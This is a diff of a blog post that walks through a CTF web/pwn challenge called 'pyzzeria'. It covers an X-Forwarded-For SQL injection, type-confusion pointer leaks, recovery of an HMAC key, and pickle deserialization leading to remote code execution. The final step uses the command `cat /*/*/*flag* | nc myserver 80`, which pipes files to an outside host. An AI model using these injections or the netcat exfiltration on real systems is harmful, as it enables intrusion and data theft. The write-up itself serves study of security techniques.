You signed in with another tab or window. Reload to refresh your session.You signed out in another tab or window. Reload to refresh your session.You switched accounts on another tab or window. Reload to refresh your session.Dismiss alert
Copy file name to clipboardExpand all lines: _posts/2017-07-10-pyzzeria.md
+50-70Lines changed: 50 additions & 70 deletions
Display the source diff
Display the rich diff
Original file line number
Diff line number
Diff line change
@@ -12,11 +12,9 @@ This is a writeup for a fun web(+pwn) challenge called 'pyzzeria' from this year
12
12
## Recon
13
13
We are presented with the following challenge description:
14
14
15
-
{% highlight bash %}
16
-
An evil pyzza-maker has come to town: he is terrorizing the population by putting pineapple in every pyzza he cooks. Nobody can't stop him as long as he is the only one knowing the secret to alter the recipe...
15
+
An evil pyzza-maker has come to town: he is terrorizing the population by putting pineapple in every pyzza he cooks. Nobody can't stop him as long as he is the only one knowing the secret to alter the recipe...
17
16
18
-
Our intel sources have identified his evil lab, but unfortunately the access seems restricted to his staff only. Can you help us save the Pyzza?
19
-
{% endhighlight %}
17
+
Our intel sources have identified his evil lab, but unfortunately the access seems restricted to his staff only. Can you help us save the Pyzza?
20
18
21
19
<sup>(Pineapple on pyzza is not that bad, get over it Italy :P)<sup>
22
20
@@ -27,29 +25,23 @@ Obviously the challenge heavily hints at python, so we kind of know what to expe
27
25
Not much happening there. The only dynamic thing is a rate limiting that occurs if we submit a lot of requests:
28
26
29
27
30
-
{% highlight bash %}
31
-
You already tried too many times
32
-
{% endhighlight %}
33
-
28
+
You already tried too many times
34
29
35
30
After a while I wondered if they check the `X-Forwarded-For` header to implement this rate limiting and indeed they did:
36
31
37
-
```
38
-
validate_ip() failure: illegal IP address string passed to inet_aton
39
-
```
32
+
validate_ip() failure: illegal IP address string passed to inet_aton
40
33
41
34
But no matter what IP is put into the header, it would always generate this error. I got really stuck here until my teammate niklasb figured out that it is in fact a simple SQL injection:
42
35
43
-
```http
36
+
{% highlight http %}
44
37
X-Forwarded-For: 1.2.3.4 '
45
-
```
38
+
{% endhighlight %}
39
+
46
40
<sup>**Note**:(The space after the IP address is actually required, otherwise it won't pass `inet_aton` and you won't see a SQL error)</sup>
47
41
48
42
This would produce the following error, which let us also infer that it's sqlite:
49
43
50
-
```
51
-
near ",": syntax error
52
-
```
44
+
near ",": syntax error
53
45
54
46
It means they look up the IP address in some kind of whitelist. A simple `' or 1-- -` will then bypass the check and let us finally view the actual web application.
55
47
@@ -63,21 +55,19 @@ Depending on the type of the pyzza you can either choose some ingredients or a l
63
55
64
56
If we check the response headers of the pyzza creation, we will see a `pyzza` cookie is set:
The `M` is the type of the pyzza (`M`=Margherita, `S`=Stuffed), the base64 is a serialized python object and the last part looks like an HMAC. Indeed it is, if we send an invalid signature the web app will complain:
77
67
78
-
```html
68
+
{% highlight html %}
79
69
verify_HMAC_signature() failure: Tampering attempt detected! Your request has been <ahref='/warehouse/logs/tampering_attempts'>logged</a>
80
-
```
70
+
{% endhighlight %}
81
71
82
72
That hints at a folder that was not yet known. Looking at `/warehouse`, we will find a folder called `dev`:
83
73
@@ -92,7 +82,7 @@ The pyzza{error,margherita,stuffed}.so contain the class definitions for the thr
92
82
93
83
In `cook()` a pyzza is printed based on the provided type:
94
84
95
-
```c
85
+
{% highlight c %}
96
86
...
97
87
/* If an invalid type is provided allocate a PyzzaError */
98
88
if ( !type || (__printf_chk(1LL, (__int64)"Pyzza type %d\n"), type_ = type, type != 'M') && type != 'S' )
@@ -125,27 +115,25 @@ In `cook()` a pyzza is printed based on the provided type:
125
115
self->last_order = v7;
126
116
}
127
117
...
128
-
```
118
+
{% endhighlight %}
129
119
130
120
The `pyzza` variable has type `Pyzza *`. If the provided type does not match `M` or `S` a PyzzaError pyzza is allocated instead. Then depending on the type `cook_margherita()` or `cook_stuffed()` are called with `pyzza` as parameter. Let's take a look at the structure of PyzzaStuffed and PyzzaMargherita:
131
121
132
-
```
133
-
PyzzaStuffed:
134
-
char *order_code
135
-
char *ingredients
136
-
char *pineapple
122
+
PyzzaStuffed:
123
+
char *order_code
124
+
char *ingredients
125
+
char *pineapple
137
126
138
-
PyzzaMargherita:
139
-
int age
140
-
char *order_code
141
-
char *pineapple
142
-
```
127
+
PyzzaMargherita:
128
+
int age
129
+
char *order_code
130
+
char *pineapple
143
131
144
132
Notice the automatic addition of pineapples to each pizza! It does not serve any other purposes than angering Italians though, as far as I could tell.
145
133
146
134
The PyzzaMargherita has an `int` as first element, whereas the PyzzaStuffed has a char pointer. Now if we take a look into what happens in `cook_stuffed()` and `cook_margherita()` we will see:
@@ -171,7 +160,7 @@ int cook_margherita(PyzzaMargherita *p) {
171
160
v8 = PyString_Format(fmt_string_, vals)
172
161
...
173
162
}
174
-
```
163
+
{% endhighlight %}
175
164
176
165
It creates a format string and then accesses members of the PyzzaStuffed or PyzzaMargherita object. Recall the `cook()` function from above: these two functions are called by casting a `Pyzza *` to `PyzzaMargherita *` or `PyzzaStuffed *` based on the type.
177
166
@@ -188,18 +177,14 @@ To make this work we need to somehow make it use the wrong `cook_*` function on
188
177
189
178
And indeed we can simply modify the pyzza type value in the cookie as it is not part of the HMAC message! Here's the result of printing a PyzzaStuffed with `cook_margherita()`, we can clearly see the leaked pointer (`29024832 = 0x1bae240`):
190
179
191
-
```
192
-
[+] You ordered a 29024832 hour leaven Margherita [+]
193
-
[+] Checking your order code [+]
194
-
```
180
+
[+] You ordered a 29024832 hour leaven Margherita [+]
181
+
[+] Checking your order code [+]
195
182
196
183
Now let's just try to leak the same address by printing a PyzzaMargherita (with age 29024832) using `cook_stuffed()`:
197
184
198
-
```
199
-
[+] Checking your order code [+]
200
-
[X] Sorry, order verification failed. [X]
201
-
!! The order_code you supply must match the one on the recipt !!
202
-
```
185
+
[+] Checking your order code [+]
186
+
[X] Sorry, order verification failed. [X]
187
+
!! The order_code you supply must match the one on the recipt !!
203
188
204
189
Hmm for some reason the `order_code` we supplied as POST parameter was not accepted. But I made sure to supply the correct one?! Well yes, but look again what happens when a PyzzaMargherita is interpreted as a PyzzaStuffed and printed using the `cook_stuffed()` function. Because of their different layouts:
205
190
@@ -213,35 +198,31 @@ To try and verify this we execute the following steps:
213
198
2. Using a PyzzaMargherita leak a string from the address `addr`, which is just `oc_stuffed` . But since `addr` just became the `order_code` of the PyzzaMargherita (let's call it `oc_margherita`), we need to provide `oc_stuffed` as a POST parameter instead of `oc_margherita`.
214
199
215
200
Doing so will result in:
216
-
```
217
-
[+] Checking your order code [+]
218
-
[+] Your pyzza (with extra pineapple :D) is ready, here is your recipt [+]
219
-
============
220
-
ingredients: 4134a03a6ab8b870faef0f59dc8a0a78
221
-
order: 89604d0d78308b5f0efad4e199e0cc15
222
-
```
201
+
202
+
[+] Checking your order code [+]
203
+
[+] Your pyzza (with extra pineapple :D) is ready, here is your recipt [+]
204
+
============
205
+
ingredients: 4134a03a6ab8b870faef0f59dc8a0a78
206
+
order: 89604d0d78308b5f0efad4e199e0cc15
207
+
223
208
Here 89604d0d78308b5f0efad4e199e0cc15 is `oc_stuffed` and 4134a03a6ab8b870faef0f59dc8a0a78 is `oc_margherita`.
224
209
225
210
## Error pyzza!
226
211
One last problem remains: We can leak pointers now, but the pointers we leak point to the heap. They don't help us to find an address from the cuoco.so, which is needed to calculate the address of the `SECRET_STRING`. But there is also one .so we have not used yet: pyzzaerror.so! Remember, it is used in the `Cuoco.cook()` method if an invalid pyzza type is provided and it actually loads the static string `INVALID!` into its first field. This string lies in the cuoco.so and if we leak it, we can calculate the offset to the `SECRET_STRING`.
227
212
228
213
But how can we create a PyzzaError and print it? If we check again the decompiled source code it will only create a PyzzaError if an invalid type is provided, but afterwards only print the pyzza if it has a valid type. The type is not touched between those two checks. But looking at the assembly we can notice that the first checks look like this:
229
214
230
-
```asm
231
-
0000000000001267 cmp eax, 4Dh
232
-
...
233
-
0000000000001270 cmp eax, 53h
234
-
...
235
-
```
215
+
0000000000001267 cmp eax, 4Dh
216
+
...
217
+
0000000000001270 cmp eax, 53h
218
+
...
236
219
237
220
whereas the checks after the allocation of the PyzzaError look like this:
238
221
239
-
```asm
240
-
00000000000011CC cmp al, 4Dh
241
-
...
242
-
00000000000011D0 cmp al, 53h
243
-
...
244
-
```
222
+
00000000000011CC cmp al, 4Dh
223
+
...
224
+
00000000000011D0 cmp al, 53h
225
+
...
245
226
246
227
The second check only looks at the lower byte, so providing something like `XM` as type will fail the first check and create a PyzzaError, but pass the second check and print the PyzzaError using the `cook_margherita()` function using the `cook_margherita()` function.
247
228
@@ -256,9 +237,8 @@ So now we know the address of the `SECRET_STRING`. We just have to leak it. Our
256
237
257
238
258
239
Eventually we recovered the whole secret HMAC key `3y0y3y0y3y0y3!`. Having the HMAC key allows us to serialize any python object and send it inside the `pyzza` cookie to be deserialized by the server. This provides an easy way to achieve RCE. A simple google search led us to this [script](https://gist.github.com/mgeeky/cbc7017986b2ec3e247aab0b01a9edcd) and using the payload `cat /*/*/*flag* | nc myserver 80` we obtained the flag:
259
-
```
260
-
flag{c0w4bung4_p1zz4T1M3}
261
-
```
240
+
241
+
flag{c0w4bung4_p1zz4T1M3}
262
242
263
243
This was a really fun challenge, thanks to the creators and see you next year again ;-)
0 commit comments